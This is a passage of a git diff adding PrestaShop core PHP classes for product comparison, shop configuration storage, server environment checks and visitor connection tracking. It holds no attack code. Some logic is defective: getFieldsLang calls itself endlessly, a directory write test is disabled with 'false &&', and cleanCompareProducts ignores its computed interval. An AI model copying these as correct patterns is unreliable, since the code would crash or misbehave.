ON (cp.`id_compare` = c.`id_compare`) + WHERE cp.`id_compare` = '.(int)($id_compare)); + + $compareProducts = null; + + if ($results) + foreach ($results as $result) + $compareProducts[] = $result['id_product']; + + return $compareProducts; + } + + + /** + * Add a compare product for the customer + * @param int $id_customer, int $id_product + * @return boolean + */ + public static function addCompareProduct($id_compare, $id_product) + { + // Check if compare row exists + $id_compare = Db::getInstance()->getValue(' + SELECT `id_compare` + FROM `'._DB_PREFIX_.'compare` + WHERE `id_compare` = '.(int)$id_compare); + + if (!$id_compare) + { + $id_customer = false; + if (Context::getContext()->customer) + $id_customer = Context::getContext()->customer->id; + $sql = Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'compare` (`id_compare`, `id_customer`) VALUES (NULL, "'.($id_customer ? $id_customer: '0').'")'); + if ($sql) + { + $id_compare = Db::getInstance()->getValue('SELECT MAX(`id_compare`) FROM `'._DB_PREFIX_.'compare`'); + Context::getContext()->cookie->id_compare = $id_compare; + } + } + + return Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'compare_product` (`id_compare`, `id_product`, `date_add`, `date_upd`) + VALUES ('.(int)($id_compare).', '.(int)($id_product).', NOW(), NOW())'); + } + + /** + * Remove a compare product for the customer + * @param int $id_compare + * @param int $id_product + * @return boolean + */ + public static function removeCompareProduct($id_compare, $id_product) + { + return Db::getInstance()->execute(' + DELETE cp FROM `'._DB_PREFIX_.'compare_product` cp, `'._DB_PREFIX_.'compare` c + WHERE cp.`id_compare`=c.`id_compare` + AND cp.`id_product` = '.(int)$id_product.' + AND c.`id_compare` = '.(int)$id_compare); + } + + /** + * Get the number of compare products of the customer + * @param int $id_compare + * @return int + */ + public static function getNumberProducts($id_compare) + { + return (int)(Db::getInstance()->getValue(' + SELECT count(`id_compare`) + FROM `'._DB_PREFIX_.'compare_product` + WHERE `id_compare` = '.(int)($id_compare))); + } + + + /** + * Clean entries which are older than the period + * @param string $period + * @return void + */ + public static function cleanCompareProducts($period = 'week') + { + if ($period === 'week') + $interval = '1 WEEK'; + elseif ($period === 'month') + $interval = '1 MONTH'; + elseif ($period === 'year') + $interval = '1 YEAR'; + else + return; + + if ($interval != null) + { + Db::getInstance()->execute(' + DELETE cp, c FROM `'._DB_PREFIX_.'compare_product` cp, `'._DB_PREFIX_.'compare` c + WHERE cp.date_upd < DATE_SUB(NOW(), INTERVAL 1 WEEK) AND c.`id_compare`=cp.`id_compare`'); + } + } + + /** + * Get the id_compare by id_customer + * @param integer $id_customer + * @return integer $id_compare + */ + public static function getIdCompareByIdCustomer($id_customer) + { + return (int)Db::getInstance()->getValue(' + SELECT `id_compare` + FROM `'._DB_PREFIX_.'compare` + WHERE `id_customer`= '.(int)$id_customer); + } +} diff --git a/classes/Configuration.php b/classes/Configuration.php new file mode 100755 index 0000000..65cc3d8 --- /dev/null +++ b/classes/Configuration.php @@ -0,0 +1,536 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ConfigurationCore extends ObjectModel +{ + public $id; + + /** @var string Key */ + public $name; + + public $id_shop_group; + public $id_shop; + + /** @var string Value */ + public $value; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'configuration', + 'primary' => 'id_configuration', + 'multilang' => true, + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isConfigName', 'required' => true, 'size' => 32), + 'id_shop_group' => array('type' => self::TYPE_NOTHING, 'validate' => 'isUnsignedId'), + 'id_shop' => array('type' => self::TYPE_NOTHING, 'validate' => 'isUnsignedId'), + 'value' => array('type' => self::TYPE_STRING), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + /** @var array Configuration cache */ + protected static $_CONF; + + /** @var array Vars types */ + protected static $types = array(); + + protected $webserviceParameters = array( + 'fields' => array( + 'value' => array(), + ) + ); + + /** + * @see ObjectModel::getFieldsLang() + * @return array Multilingual fields + */ + public function getFieldsLang() + { + if (!is_array($this->value)) + return true; + return $this->getFieldsLang(); + } + + /** + * Return ID a configuration key + * + * @param string $key + * @param int $id_shop_group + * @param int $id_shop + */ + public static function getIdByName($key, $id_shop_group = null, $id_shop = null) + { + if ($id_shop === null) + $id_shop = Shop::getContextShopID(true); + if ($id_shop_group === null) + $id_shop_group = Shop::getContextShopGroupID(true); + + $sql = 'SELECT id_configuration + FROM '._DB_PREFIX_.'configuration + WHERE name = \''.pSQL($key).'\'' + .Configuration::sqlRestriction($id_shop_group, $id_shop); + return (int)Db::getInstance()->getValue($sql); + } + + /** + * Load all configuration data + */ + public static function loadConfiguration() + { + self::$_CONF = array(); + $sql = 'SELECT c.`name`, cl.`id_lang`, IF(cl.`id_lang` IS NULL, c.`value`, cl.`value`) AS value, c.id_shop_group, c.id_shop + FROM `'._DB_PREFIX_.'configuration` c + LEFT JOIN `'._DB_PREFIX_.'configuration_lang` cl ON (c.id_configuration = cl.id_configuration)'; + if (!$results = Db::getInstance()->executeS($sql)) + return; + + foreach ($results as $row) + { + $lang = ($row['id_lang']) ? $row['id_lang'] : 0; + self::$types[$row['name']] = ($lang) ? 'lang' : 'normal'; + if (!isset(self::$_CONF[$lang])) + self::$_CONF[$lang] = array( + 'global' => array(), + 'group' => array(), + 'shop' => array(), + ); + + if ($row['id_shop']) + self::$_CONF[$lang]['shop'][$row['id_shop']][$row['name']] = $row['value']; + else if ($row['id_shop_group']) + self::$_CONF[$lang]['group'][$row['id_shop_group']][$row['name']] = $row['value']; + else + self::$_CONF[$lang]['global'][$row['name']] = $row['value']; + } + } + + /** + * Get a single configuration value (in one language only) + * + * @param string $key Key wanted + * @param integer $id_lang Language ID + * @return string Value + */ + public static function get($key, $id_lang = null, $id_shop_group = null, $id_shop = null) + { + if (defined('_PS_DO_NOT_LOAD_CONFIGURATION_') && _PS_DO_NOT_LOAD_CONFIGURATION_) + return false; + + // If conf if not initialized, try manual query + if (!self::$_CONF) + { + Configuration::loadConfiguration(); + if (!self::$_CONF) + return Db::getInstance()->getValue('SELECT `value` FROM `'._DB_PREFIX_.'configuration` WHERE `name` = "'.pSQL($key).'"'); + } + $id_lang = (int)$id_lang; + if ($id_shop === null) + $id_shop = Shop::getContextShopID(true); + if ($id_shop_group === null) + $id_shop_group = Shop::getContextShopGroupID(true); + + if (!isset(self::$_CONF[$id_lang])) + $id_lang = 0; + + if ($id_shop && Configuration::hasKey($key, $id_lang, null, $id_shop)) + return self::$_CONF[$id_lang]['shop'][$id_shop][$key]; + elseif ($id_shop_group && Configuration::hasKey($key, $id_lang, $id_shop_group)) + return self::$_CONF[$id_lang]['group'][$id_shop_group][$key]; + elseif (Configuration::hasKey($key, $id_lang)) + return self::$_CONF[$id_lang]['global'][$key]; + return false; + } + + public static function getGlobalValue($key, $id_lang = null) + { + return Configuration::get($key, $id_lang, 0, 0); + } + + /** + * Get a single configuration value (in multiple languages) + * + * @param string $key Key wanted + * @param int $id_shop_group + * @param int $id_shop + * @return array Values in multiple languages + */ + public static function getInt($key, $id_shop_group = null, $id_shop = null) + { + $languages = Language::getLanguages(); + $resultsArray = array(); + foreach ($languages as $language) + $resultsArray[$language['id_lang']] = Configuration::get($key, $language['id_lang'], $id_shop_group, $id_shop); + return $resultsArray; + } + + /** + * Get several configuration values (in one language only) + * + * @param array $keys Keys wanted + * @param integer $id_lang Language ID + * @return array Values + */ + public static function getMultiple($keys, $id_lang = null, $id_shop_group = null, $id_shop = null) + { + if (!is_array($keys)) + throw new PrestaShopException('keys var is not an array'); + + $id_lang = (int)$id_lang; + if ($id_shop === null) + $id_shop = Shop::getContextShopID(true); + if ($id_shop_group === null) + $id_shop_group = Shop::getContextShopGroupID(true); + + $results = array(); + foreach ($keys as $key) + $results[$key] = Configuration::get($key, $id_lang, $id_shop_group, $id_shop); + return $results; + } + + /** + * Check if key exists in configuration + * + * @param string $key + * @param int $id_lang + * @param int $id_shop_group + * @param int $id_shop + * @return bool + */ + public static function hasKey($key, $id_lang = null, $id_shop_group = null, $id_shop = null) + { + $id_lang = (int)$id_lang; + if ($id_shop) + return isset(self::$_CONF[$id_lang]['shop'][$id_shop]) && array_key_exists($key, self::$_CONF[$id_lang]['shop'][$id_shop]); + elseif ($id_shop_group) + return isset(self::$_CONF[$id_lang]['group'][$id_shop_group]) && array_key_exists($key, self::$_CONF[$id_lang]['group'][$id_shop_group]); + return isset(self::$_CONF[$id_lang]['global']) && array_key_exists($key, self::$_CONF[$id_lang]['global']); + } + + /** + * Set TEMPORARY a single configuration value (in one language only) + * + * @param string $key Key wanted + * @param mixed $values $values is an array if the configuration is multilingual, a single string else. + * @param int $id_shop_group + * @param int $id_shop + */ + public static function set($key, $values, $id_shop_group = null, $id_shop = null) + { + if (!Validate::isConfigName($key)) + die(Tools::displayError()); + + if ($id_shop === null) + $id_shop = Shop::getContextShopID(true); + if ($id_shop_group === null) + $id_shop_group = Shop::getContextShopGroupID(true); + + if (!is_array($values)) + $values = array($values); + + foreach ($values as $lang => $value) + { + if ($id_shop) + self::$_CONF[$lang]['shop'][$id_shop][$key] = $value; + else if ($id_shop_group) + self::$_CONF[$lang]['group'][$id_shop_group][$key] = $value; + else + self::$_CONF[$lang]['global'][$key] = $value; + } + } + + /** + * Update configuration key for global context only + * + * @param string $key + * @param mixed $values + * @param bool $html + * @return bool + */ + public static function updateGlobalValue($key, $values, $html = false) + { + return Configuration::updateValue($key, $values, $html, 0, 0); + } + + /** + * Update configuration key and value into database (automatically insert if key does not exist) + * + * @param string $key Key + * @param mixed $values $values is an array if the configuration is multilingual, a single string else. + * @param boolean $html Specify if html is authorized in value + * @param int $id_shop_group + * @param int $id_shop + * @return boolean Update result + */ + public static function updateValue($key, $values, $html = false, $id_shop_group = null, $id_shop = null) + { + if (!Validate::isConfigName($key)) + die(Tools::displayError()); + + if ($id_shop === null) + $id_shop = Shop::getContextShopID(true); + if ($id_shop_group === null) + $id_shop_group = Shop::getContextShopGroupID(true); + + if (!is_array($values)) + { + $is_i18n = false; + $values = array($values); + } + else + $is_i18n = true; + + $result = true; + foreach ($values as $lang => $value) + { + if ($value === Configuration::get($key, $lang, $id_shop_group, $id_shop)) + continue; + + // If key already exists, update value + if (Configuration::hasKey($key, $lang, $id_shop_group, $id_shop)) + { + if (!$lang) + { + // Update config not linked to lang + $result &= Db::getInstance()->update('configuration', array( + 'value' => pSQL($value, $html), + 'date_upd' => date('Y-m-d H:i:s'), + ), '`name` = \''.pSQL($key).'\''.Configuration::sqlRestriction($id_shop_group, $id_shop), 1, true); + } + else + { + // Update multi lang + $sql = 'UPDATE '._DB_PREFIX_.'configuration_lang cl + SET cl.value = \''.pSQL($value, $html).'\', + cl.date_upd = NOW() + WHERE cl.id_lang = '.(int)$lang.' + AND cl.id_configuration = ( + SELECT c.id_configuration + FROM '._DB_PREFIX_.'configuration c + WHERE c.name = \''.pSQL($key).'\'' + .Configuration::sqlRestriction($id_shop_group, $id_shop) + .')'; + $result &= Db::getInstance()->execute($sql); + } + } + // If key does not exists, create it + else + { + if (!$configID = Configuration::getIdByName($key, $id_shop_group, $id_shop)) + { + $newConfig = new Configuration(); + $newConfig->name = $key; + if ($id_shop) + $newConfig->id_shop = (int)$id_shop; + if ($id_shop_group) + $newConfig->id_shop_group = (int)$id_shop_group; + if (!$lang) + $newConfig->value = $value; + $result &= $newConfig->add(true, true); + $configID = $newConfig->id; + } + + if ($lang) + { + $result &= Db::getInstance()->insert('configuration_lang', array( + 'id_configuration' => $configID, + 'id_lang' => $lang, + 'value' => pSQL($value, $html), + 'date_upd' => date('Y-m-d H:i:s'), + )); + } + } + } + + Configuration::set($key, $values, $id_shop_group, $id_shop); + + return $result; + } + + /** + * Delete a configuration key in database (with or without language management) + * + * @param string $key Key to delete + * @return boolean Deletion result + */ + public static function deleteByName($key) + { + if (!Validate::isConfigName($key)) + return false; + + $result = Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'configuration_lang` + WHERE `id_configuration` IN ( + SELECT `id_configuration` + FROM `'._DB_PREFIX_.'configuration` + WHERE `name` = "'.pSQL($key).'" + )'); + + $result2 = Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'configuration` + WHERE `name` = "'.pSQL($key).'"'); + + self::$_CONF = null; + + return ($result && $result2); + } + + /** + * Delete configuration key from current context. + * + * @param string $key + */ + public static function deleteFromContext($key) + { + if (Shop::getContext() == Shop::CONTEXT_ALL) + return; + + $id_shop = null; + $id_shop_group = Shop::getContextShopGroupID(true); + if (Shop::getContext() == Shop::CONTEXT_SHOP) + $id_shop = Shop::getContextShopID(true); + + $id = Configuration::getIdByName($key, $id_shop_group, $id_shop); + Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'configuration + WHERE id_configuration = '.(int)$id); + Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'configuration_lang + WHERE id_configuration = '.(int)$id); + + self::$_CONF = null; + } + + /** + * Check if configuration var is defined in given context + * + * @param string $key + * @param int $id_lang + * @param int $context + */ + public static function hasContext($key, $id_lang, $context) + { + if (Shop::getContext() == Shop::CONTEXT_ALL) + $id_shop = $id_shop_group = null; + elseif (Shop::getContext() == Shop::CONTEXT_GROUP) + { + $id_shop_group = Shop::getContextShopGroupID(true); + $id_shop = null; + } + else + { + $id_shop_group = Shop::getContextShopGroupID(true); + $id_shop = Shop::getContextShopID(true); + } + + if ($context == Shop::CONTEXT_SHOP && Configuration::hasKey($key, $id_lang, null, $id_shop)) + return true; + elseif ($context == Shop::CONTEXT_GROUP && Configuration::hasKey($key, $id_lang, $id_shop_group)) + return true; + elseif ($context == Shop::CONTEXT_ALL && Configuration::hasKey($key, $id_lang)) + return true; + return false; + } + + public static function isOverridenByCurrentContext($key) + { + if (Configuration::isLangKey($key)) + { + $testContext = false; + foreach (Language::getLanguages(false) as $lang) + if ((Shop::getContext() == Shop::CONTEXT_SHOP && Configuration::hasContext($key, $lang['id_lang'], Shop::CONTEXT_SHOP)) + || (Shop::getContext() == Shop::CONTEXT_GROUP && Configuration::hasContext($key, $lang['id_lang'], Shop::CONTEXT_GROUP))) + $testContext = true; + } + else + { + $testContext = ((Shop::getContext() == Shop::CONTEXT_SHOP && Configuration::hasContext($key, null, Shop::CONTEXT_SHOP)) + || (Shop::getContext() == Shop::CONTEXT_GROUP && Configuration::hasContext($key, null, Shop::CONTEXT_GROUP))) ? true : false; + } + + return (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_ALL && $testContext); + } + + /** + * Check if a key was loaded as multi lang + * + * @param string $key + * @return bool + */ + public static function isLangKey($key) + { + return (isset(self::$types[$key]) && self::$types[$key] == 'lang') ? true : false; + } + + /** + * Add SQL restriction on shops for configuration table + * + * @param int $id_shop_group + * @param int $id_shop + * @return string + */ + protected static function sqlRestriction($id_shop_group, $id_shop) + { + if ($id_shop) + return ' AND id_shop = '.(int)$id_shop; + elseif ($id_shop_group) + return ' AND id_shop_group = '.(int)$id_shop_group.' AND id_shop IS NULL'; + else + return ' AND id_shop_group IS NULL AND id_shop IS NULL'; + } + + /** + * This method is override to allow TranslatedConfiguration entity + * + * @param $sql_join + * @param $sql_filter + * @param $sql_sort + * @param $sql_limit + * @return array + */ + public function getWebserviceObjectList($sql_join, $sql_filter, $sql_sort, $sql_limit) + { + $query = ' + SELECT DISTINCT main.`'.bqSQL($this->def['primary']).'` FROM `'._DB_PREFIX_.bqSQL($this->def['table']).'` main + '.$sql_join.' + WHERE id_configuration NOT IN + ( SELECT id_configuration + FROM '._DB_PREFIX_.bqSQL($this->def['table']).'_lang + ) '.$sql_filter.' + '.($sql_sort != '' ? $sql_sort : '').' + '.($sql_limit != '' ? $sql_limit : '').' + '; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } +} diff --git a/classes/ConfigurationTest.php b/classes/ConfigurationTest.php new file mode 100755 index 0000000..7fac9df --- /dev/null +++ b/classes/ConfigurationTest.php @@ -0,0 +1,322 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ConfigurationTestCore +{ + + /** + * getDefaultTests return an array of tests to executes. + * key are method name, value are parameters (false for no parameter) + * all path are _PS_ROOT_DIR_ related + * + * @return array + */ + public static function getDefaultTests() + { + return array( + 'system' => array( + 'fopen', 'fclose', 'fread', 'fwrite', + 'rename', 'file_exists', 'unlink', 'rmdir', 'mkdir', + 'getcwd', 'chdir', 'chmod' + ), + + 'phpversion' => false, + 'upload' => false, + 'gd' => false, + 'mysql_support' => false, + 'config_dir' => 'config', + 'cache_dir' => 'cache', + 'sitemap' => 'sitemap.xml', + 'log_dir' => 'log', + 'img_dir' => 'img', + 'mails_dir' => 'mails', + 'module_dir' => 'modules', + 'theme_lang_dir' => 'themes/'._THEME_NAME_.'/lang/', + 'theme_pdf_lang_dir' => 'themes/'._THEME_NAME_.'/pdf/lang/', + 'theme_cache_dir' => 'themes/'._THEME_NAME_.'/cache/', + 'translations_dir' => 'translations', + 'customizable_products_dir' => 'upload', + 'virtual_products_dir' => 'download' + ); + } + + /** + * getDefaultTestsOp return an array of tests to executes. + * key are method name, value are parameters (false for no parameter) + * + * @return array + */ + public static function getDefaultTestsOp() + { + return array( + 'fopen' => false, + 'register_globals' => false, + 'gz' => false, + 'mcrypt' => false, + 'mbstring' => false, + 'magicquotes' => false, + 'dom' => false, + 'pdo_mysql' => false, + ); + } + + /** + * run all test defined in $tests + * + * @param array $tests + * @return array results of tests + */ + public static function check($tests) + { + $res = array(); + foreach ($tests as $key => $test) + $res[$key] = ConfigurationTest::run($key, $test); + return $res; + } + + public static function run($ptr, $arg = 0) + { + if (call_user_func(array('ConfigurationTest', 'test_'.$ptr), $arg)) + return 'ok'; + return 'fail'; + } + + public static function test_phpversion() + { + return version_compare(substr(phpversion(), 0, 5), '5.1.0', '>='); + } + + public static function test_mysql_support() + { + return extension_loaded('mysql') || extension_loaded('mysqli') || extension_loaded('pdo_mysql'); + } + + public static function test_pdo_mysql() + { + return extension_loaded('pdo_mysql'); + } + + public static function test_magicquotes() + { + return !get_magic_quotes_gpc(); + } + + public static function test_upload() + { + return ini_get('file_uploads'); + } + + public static function test_fopen() + { + return ini_get('allow_url_fopen'); + } + + public static function test_system($funcs) + { + foreach ($funcs as $func) + if (!function_exists($func)) + return false; + return true; + } + + public static function test_gd() + { + return function_exists('imagecreatetruecolor'); + } + + public static function test_register_globals() + { + return !ini_get('register_globals'); + } + + public static function test_gz() + { + if (function_exists('gzencode')) + return @gzencode('dd') !== false; + return false; + } + + public static function test_dir($relative_dir, $recursive = false, &$full_report = null) + { + $dir = rtrim(_PS_ROOT_DIR_, '\\/').DIRECTORY_SEPARATOR.trim($relative_dir, '\\/'); + if (!file_exists($dir) || !$dh = @opendir($dir)) + { + $full_report = sprintf('Directory %s does not exists or is not writable', $dir); // sprintf for future translation + return false; + } + $dummy = rtrim($dir, '\\/').DIRECTORY_SEPARATOR.uniqid(); + if (false && @file_put_contents($dummy, 'test')) + { + @unlink($dummy); + if (!$recursive) + { + closedir($dh); + return true; + } + } + elseif (!is_writable($dir)) + { + $full_report = sprintf('Directory %s is not writable', $dir); // sprintf for future translation + return false; + } + + if ($recursive) + while (($file = readdir($dh)) !== false) + if (is_dir($dir.DIRECTORY_SEPARATOR.$file) && $file != '.' && $file != '..' && $file != '.svn') + if (!ConfigurationTest::test_dir($relative_dir.DIRECTORY_SEPARATOR.$file, $recursive, $full_report)) + return false; + + closedir($dh); + return true; + } + + public static function test_file($file_relative) + { + $file = _PS_ROOT_DIR_.DIRECTORY_SEPARATOR.$file_relative; + return (file_exists($file) && is_writable($file)); + } + + public static function test_config_dir($dir) + { + return ConfigurationTest::test_dir($dir); + } + + public static function test_sitemap($dir) + { + return ConfigurationTest::test_file($dir); + } + + public static function test_root_dir($dir) + { + return ConfigurationTest::test_dir($dir); + } + + public static function test_log_dir($dir) + { + return ConfigurationTest::test_dir($dir); + } + + public static function test_admin_dir($dir) + { + return ConfigurationTest::test_dir($dir); + } + + public static function test_img_dir($dir) + { + return ConfigurationTest::test_dir($dir, true); + } + + public static function test_module_dir($dir) + { + return ConfigurationTest::test_dir($dir, true); + } + + public static function test_cache_dir($dir) + { + return ConfigurationTest::test_dir($dir, true); + } + + public static function test_tools_v2_dir($dir) + { + return ConfigurationTest::test_dir($dir); + } + + public static function test_cache_v2_dir($dir) + { + return ConfigurationTest::test_dir($dir); + } + + public static function test_download_dir($dir) + { + return ConfigurationTest::test_dir($dir); + } + + public static function test_mails_dir($dir) + { + return ConfigurationTest::test_dir($dir, true); + } + + public static function test_translations_dir($dir) + { + return ConfigurationTest::test_dir($dir, true); + } + + public static function test_theme_lang_dir($dir) + { + $absoluteDir = rtrim(_PS_ROOT_DIR_, '\\/').DIRECTORY_SEPARATOR.trim($dir, '\\/'); + if (!file_exists($absoluteDir)) + return true; + return ConfigurationTest::test_dir($dir, true); + } + + public static function test_theme_pdf_lang_dir($dir) + { + $absoluteDir = rtrim(_PS_ROOT_DIR_, '\\/').DIRECTORY_SEPARATOR.trim($dir, '\\/'); + if (!file_exists($absoluteDir)) + return true; + return ConfigurationTest::test_dir($dir, true); + } + + public static function test_theme_cache_dir($dir) + { + $absoluteDir = rtrim(_PS_ROOT_DIR_, '\\/').DIRECTORY_SEPARATOR.trim($dir, '\\/'); + if (!file_exists($absoluteDir)) + return true; + return ConfigurationTest::test_dir($dir, true); + } + + public static function test_customizable_products_dir($dir) + { + return ConfigurationTest::test_dir($dir); + } + + public static function test_virtual_products_dir($dir) + { + return ConfigurationTest::test_dir($dir); + } + + public static function test_mbstring() + { + return function_exists('mb_strtolower'); + } + + public static function test_mcrypt() + { + return function_exists('mcrypt_encrypt'); + } + + public static function test_sessions() + { + if (!$path = @ini_get('session.save_path')) + return true; + + return is_writable($path); + } + public static function test_dom() + { + return extension_loaded('Dom'); + } +} \ No newline at end of file diff --git a/classes/Connection.php b/classes/Connection.php new file mode 100755 index 0000000..b250e4e --- /dev/null +++ b/classes/Connection.php @@ -0,0 +1,196 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ConnectionCore extends ObjectModel +{ + /** @var integer */ + public $id_guest; + + /** @var integer */ + public $id_page; + + /** @var string */ + public $ip_address; + + /** @var string */ + public $http_referer; + + /** @var int */ + public $id_shop; + + /** @var int */ + public $id_shop_group; + + /** @var string */ + public $date_add; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'connections', + 'primary' => 'id_connections', + 'fields' => array( + 'id_guest' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_page' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'ip_address' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'http_referer' => array('type' => self::TYPE_STRING, 'validate' => 'isAbsoluteUrl'), + 'id_shop' => array('type' => self::TYPE_INT, 'required' => true), + 'id_shop_group' => array('type' => self::TYPE_INT, 'required' => true), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate') + ), + ); + + /** + * @see ObjectModel::getFields() + * @return array + */ + public function getFields() + { + if (!$this->id_shop_group) + $this->id_shop_group = Context::getContext()->shop->id_shop_group; + + $fields = parent::getFields(); + return $fields; + } + + public static function setPageConnection($cookie, $full = true) + { + // The connection is created if it does not exist yet and we get the current page id + if (!isset($cookie->id_connections) || !strstr(isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '', Tools::getHttpHost(false, false))) + $id_page = Connection::setNewConnection($cookie); + if (!isset($id_page) || !$id_page) + $id_page = Page::getCurrentId(); + if (!Configuration::get('PS_STATSDATA_CUSTOMER_PAGESVIEWS')) + return array('id_page' => $id_page); + + // The ending time will be updated by an ajax request when the guest will close the page + $time_start = date('Y-m-d H:i:s'); + Db::getInstance()->insert('connections_page', array( + 'id_connections' => (int)$cookie->id_connections, + 'id_page' => (int)$id_page, + 'time_start' => $time_start + )); + + // This array is serialized and used by the ajax request to identify the page + return array( + 'id_connections' => (int)$cookie->id_connections, + 'id_page' => (int)$id_page, + 'time_start' => $time_start); + } + + public static function setNewConnection($cookie) + { + if (isset($_SERVER['HTTP_USER_AGENT']) + && preg_match('/BotLink|ahoy|AlkalineBOT|anthill|appie|arale|araneo|AraybOt|ariadne|arks|ATN_Worldwide|Atomz|bbot|Bjaaland|Ukonline|borg\-bot\/0\.9|boxseabot|bspider|calif|christcrawler|CMC\/0\.01|combine|confuzzledbot|CoolBot|cosmos|Internet Cruiser Robot|cusco|cyberspyder|cydralspider|desertrealm, desert realm|digger|DIIbot|grabber|downloadexpress|DragonBot|dwcp|ecollector|ebiness|elfinbot|esculapio|esther|fastcrawler|FDSE|FELIX IDE|ESI|fido|H�m�h�kki|KIT\-Fireball|fouineur|Freecrawl|gammaSpider|gazz|gcreep|golem|googlebot|griffon|Gromit|gulliver|gulper|hambot|havIndex|hotwired|htdig|iajabot|INGRID\/0\.1|Informant|InfoSpiders|inspectorwww|irobot|Iron33|JBot|jcrawler|Teoma|Jeeves|jobo|image\.kapsi\.net|KDD\-Explorer|ko_yappo_robot|label\-grabber|larbin|legs|Linkidator|linkwalker|Lockon|logo_gif_crawler|marvin|mattie|mediafox|MerzScope|NEC\-MeshExplorer|MindCrawler|udmsearch|moget|Motor|msnbot|muncher|muninn|MuscatFerret|MwdSearch|sharp\-info\-agent|WebMechanic|NetScoop|newscan\-online|ObjectsSearch|Occam|Orbsearch\/1\.0|packrat|pageboy|ParaSite|patric|pegasus|perlcrawler|phpdig|piltdownman|Pimptrain|pjspider|PlumtreeWebAccessor|PortalBSpider|psbot|Getterrobo\-Plus|Raven|RHCS|RixBot|roadrunner|Robbie|robi|RoboCrawl|robofox|Scooter|Search\-AU|searchprocess|Senrigan|Shagseeker|sift|SimBot|Site Valet|skymob|SLCrawler\/2\.0|slurp|ESI|snooper|solbot|speedy|spider_monkey|SpiderBot\/1\.0|spiderline|nil|suke|http:\/\/www\.sygol\.com|tach_bw|TechBOT|templeton|titin|topiclink|UdmSearch|urlck|Valkyrie libwww\-perl|verticrawl|Victoria|void\-bot|Voyager|VWbot_K|crawlpaper|wapspider|WebBandit\/1\.0|webcatcher|T\-H\-U\-N\-D\-E\-R\-S\-T\-O\-N\-E|WebMoose|webquest|webreaper|webs|webspider|WebWalker|wget|winona|whowhere|wlm|WOLP|WWWC|none|XGET|Nederland\.zoek/i', $_SERVER['HTTP_USER_AGENT'])) + { + // This is a bot and we have to retrieve its connection ID + $sql = 'SELECT `id_connections` FROM `'._DB_PREFIX_.'connections` + WHERE ip_address = '.ip2long(Tools::getRemoteAddr()).' + AND DATE_ADD(`date_add`, INTERVAL 30 MINUTE) > \''.pSQL(date('Y-m-d H:i:00')).'\' + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + ORDER BY `date_add` DESC'; + if ($id_connections = Db::getInstance()->getValue($sql)) + { + $cookie->id_connections = (int)$id_connections; + return Page::getCurrentId(); + } + } + + // A new connection is created if the guest made no actions during 30 minutes + $sql = 'SELECT `id_guest` + FROM `'._DB_PREFIX_.'connections` + WHERE `id_guest` = '.(int)$cookie->id_guest.' + AND DATE_ADD(`date_add`, INTERVAL 30 MINUTE) > \''.pSQL(date('Y-m-d H:i:00')).'\' + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + ORDER BY `date_add` DESC'; + $result = Db::getInstance()->getRow($sql); + if (!$result['id_guest'] && (int)$cookie->id_guest) + { + // The old connections details are removed from the database in order to spare some memory + Connection::cleanConnectionsPages(); + + $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; + $array_url = parse_url($referer); + if (!isset($array_url['host']) || preg_replace('/^www./', '', $array_url['host']) == preg_replace('/^www./', '', Tools::getHttpHost(false, false))) + $referer = ''; + $connection = new Connection(); + $connection->id_guest = (int)$cookie->id_guest; + $connection->id_page = Page::getCurrentId(); + $connection->ip_address = Tools::getRemoteAddr() ? ip2long(Tools::getRemoteAddr()) : ''; + $connection->id_shop = Context::getContext()->shop->id; + $connection->id_shop_group = Context::getContext()->shop->id_shop_group; + $connection->date_add = $cookie->date_add; + if (Validate::isAbsoluteUrl($referer)) + $connection->http_referer = substr($referer, 0, 254); + $connection->add(); + $cookie->id_connections = $connection->id; + return $connection->id_page; + } + } + + public static function setPageTime($id_connections, $id_page, $time_start, $time) + { + if (!Validate::isUnsignedId($id_connections) + || !Validate::isUnsignedId($id_page) + || !Validate::isDate($time_start)) + return; + + // Limited to 5 minutes because more than 5 minutes is considered as an error + if ($time > 300000) + $time = 300000; + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'connections_page` + SET `time_end` = `time_start` + INTERVAL '.(int)($time / 1000).' SECOND + WHERE `id_connections` = '.(int)$id_connections.' + AND `id_page` = '.(int)$id_page.' + AND `time_start` = \''.pSQL($time_start).'\''); + } + + public static function cleanConnectionsPages() + { + $period = Configuration::get('PS_STATS_OLD_CONNECT_AUTO_CLEAN'); + + if ($period === 'week') + $interval = '1 WEEK'; + else if ($period === 'month') + $interval = '1 MONTH'; + else if ($period === 'year') + $interval = '1 YEAR'; + else + return; + + if ($interval != null) + { + // Records of connections details older than the beginning of the specified interval are deleted + Db::getInstance()->execute(' + DELETE FROM 